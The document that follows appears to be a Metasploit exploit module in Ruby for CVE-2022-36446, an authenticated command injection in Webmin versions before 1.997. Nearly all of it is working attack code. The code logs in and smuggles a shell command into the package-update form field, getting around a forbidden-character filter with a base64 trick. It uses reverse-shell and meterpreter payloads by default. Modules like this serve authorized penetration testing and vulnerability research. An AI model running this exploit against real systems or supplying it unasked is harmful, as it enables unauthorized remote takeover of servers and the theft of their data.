## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Webmin Package Updates RCE', 'Description' => %q{ This module exploits an arbitrary command injection in Webmin versions prior to 1.997. Webmin uses the OS package manager (`apt`, `yum`, etc.) to perform package updates and installation. Due to a lack of input sanitization, it is possibe to inject arbitrary command that will be concatenated to the package manager call. This exploit requires authentication and the account must have access to the Software Package Updates module. }, 'License' => MSF_LICENSE, 'Author' => [ 'Christophe De La Fuente', # MSF module 'Emir Polat' # Discovery and PoC ], 'References' => [ [ 'EDB', '50998' ], [ 'URL', 'https://medium.com/@emirpolat/cve-2022-36446-webmin-1-997-7a9225af3165'], [ 'CVE', '2022-36446'] ], 'DisclosureDate' => '2022-07-26', 'Platform' => ['unix', 'linux'], 'Privileged' => true, 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64, ARCH_AARCH64], 'Payload' => { 'BadChars' => '/' }, 'DefaultOptions' => { 'RPORT' => 10000, 'SSL' => true }, 'Targets' => [ [ 'Unix In-Memory', { 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Type' => :unix_memory, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_perl' } } ], [ 'Linux Dropper (x86 & x64)', { 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :linux_dropper, 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' } } ], [ 'Linux Dropper (ARM64)', { 'Platform' => 'linux', 'Arch' => ARCH_AARCH64, 'Type' => :linux_dropper, 'DefaultOptions' => { 'PAYLOAD' => 'linux/aarch64/meterpreter/reverse_tcp' } } ] ], 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] } ) ) register_options( [ OptString.new('TARGETURI', [true, 'Base path to Webmin', '/']), OptString.new('USERNAME', [ true, 'User to login with', 'admin']), OptString.new('PASSWORD', [ false, 'Password to login with', '123456']) ] ) end def check res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path) ) return CheckCode::Unknown("#{peer} - Could not connect to web service - no response") unless res if res.body.include?('This web server is running in SSL mode.') return CheckCode::Unknown("#{peer} - Please enable the SSL option to proceed") end version = res.headers['Server'].to_s.scan(%r{MiniServ/([\d.]+)}).flatten.first return CheckCode::Unknown("#{peer} - Webmin version not detected") unless version version = Rex::Version.new(version) vprint_status("Webmin #{version} detected") unless version < Rex::Version.new('1.997') return CheckCode::Safe("#{peer} - Webmin #{version} is not a supported target") end vprint_good("Webmin #{version} is a supported target") CheckCode::Appears rescue ::Rex::ConnectionError return CheckCode::Unknown("#{peer} - Could not connect to web service") end def do_login res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/session_login.cgi'), 'headers' => { 'Referer' => full_uri }, 'cookie' => 'testing=1', 'keep_cookies' => true, 'vars_post' => { 'user' => datastore['USERNAME'], 'pass' => datastore['PASSWORD'] } }) fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") unless res fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") unless res.code == 302 print_good('Logged in!') end def execute_command(cmd, _opts = {}) cmd = cmd.gsub('/', '${SEP}').gsub('\'', '"') cmd = "#{rand_text_alphanumeric(4)};SEP=$(perl -MMIME::Base64 -e \"print decode_base64('Lw==')\")&&#{cmd}" send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/package-updates/update.cgi'), 'headers' => { 'Referer' => full_uri }, 'vars_post' => { 'mode' => 'new', 'search' => rand_text(10), 'redir' => '', 'redirdesc' => '', 'u' => cmd, 'confirm' => 'Install Now' } }) end def exploit print_status('Attempting login') do_login print_status('Sending payload') case target['Type'] when :unix_memory execute_command(payload.encoded) when :linux_dropper execute_cmdstager end rescue ::Rex::ConnectionError fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") end end